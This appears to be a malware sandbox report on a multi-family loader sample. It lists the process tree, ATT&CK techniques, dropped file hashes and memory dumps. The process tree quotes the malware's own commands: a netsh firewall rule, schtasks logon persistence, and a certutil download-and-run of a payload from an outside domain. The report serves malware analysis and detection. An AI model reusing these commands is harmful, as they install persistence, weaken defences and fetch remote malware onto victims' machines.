PID 2132 wrote to memory of 1460	2132	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe	96
PID 1460 wrote to memory of 372	1460	cmd.exe	98
PID 2132 wrote to memory of 2660	2132	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe	99
PID 2660 wrote to memory of 364	2660	csrss.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4648
- C:\Users\Admin\AppData\Local\Temp\2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe"
  2⤵
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:372
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Manipulates WinMonFS driver.
    - Modifies trusted root certificate store through registry
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:456
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1892
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      PID:4792
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:364
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 732
    3⤵
    - Program crash
    PID:652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 804
  2⤵
  - Program crash
  PID:2516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4648 -ip 4648
1⤵
PID:3852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2132 -ip 2132
1⤵
PID:4996

C:\Windows\rss\csrss.exe
"C:\Windows\rss\csrss.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3424
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 812
    3⤵
    - Program crash
    PID:3180
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3172 -s 724
  2⤵
  - Program crash
  PID:2060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3172 -ip 3172
1⤵
PID:704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3424 -ip 3424
1⤵
PID:1508

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2276 -s 840
    3⤵
    - Program crash
    PID:1624
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 768
  2⤵
  - Program crash
  PID:1296

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4588 -ip 4588
1⤵
PID:4816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2276 -ip 2276
1⤵
PID:3288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

patch.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Size 1.7MB
SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
MD5 13aaafe14eb60d6a718230e82c671d57
SHA1 e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA512 ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
SSDEEP 24576:fKln2MFUEdpHVzXKWHoBpHEjVweSRHYU/L38dsh0Dt/oPf2Du4y:fKln/RpHNdInHdUU/z0Vl
TLSH
T16C857C8663B802A8ED7B923CC962891BD7F238411331C7DF26A0466E2F53FE55A3D351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

csrss.exe

Path C:\Windows\rss\csrss.exe
Size 4.6MB
SHA256 2fa88955352ab6bd80fc4d899fca8b88fb5acf6385e6df03aed0050751012a2b
MD5 a8c273ca96f688904c71b9e47536dcd2
SHA1 88ab49d572b79442ce50704a0b8f73b8d5e05a9e
SHA512 8e2ae79fb222fd2f635b0b0d44fbadf934f946acd44eeabe65edeeb6d54f27f5bbd8666a3ed1ec9388e34d83b5f4df040e7edcc4fef22b76f64b032006b87e1d
SSDEEP 98304:U7ig5wmOSnoSH3S/t1vRnuqSahehDxrNL9FRMpk:KP5wmOcoSH3Kt1xuqL0VrNHCC
TLSH
T12D3633207A80C431E6673975C977BBBC0D69343AE751E40F3EA04E3D5E283A1A7227D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2132-14-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2276-32-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-33-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-41-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-46-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-45-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-44-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-43-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-42-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-40-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-39-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-34-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-35-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-36-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-37-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/2660-38-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/3172-21-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/3424-22-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/4588-31-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/4648-2-0x0000000005680000-0x0000000005A36000-memory.dmp

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memory/4648-0-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/4648-5-0x0000000000400000-0x0000000005128000-memory.dmp

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memory/4648-3-0x0000000005A40000-0x0000000006136000-memory.dmp

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memory/4648-7-0x0000000005A40000-0x0000000006136000-memory.dmp

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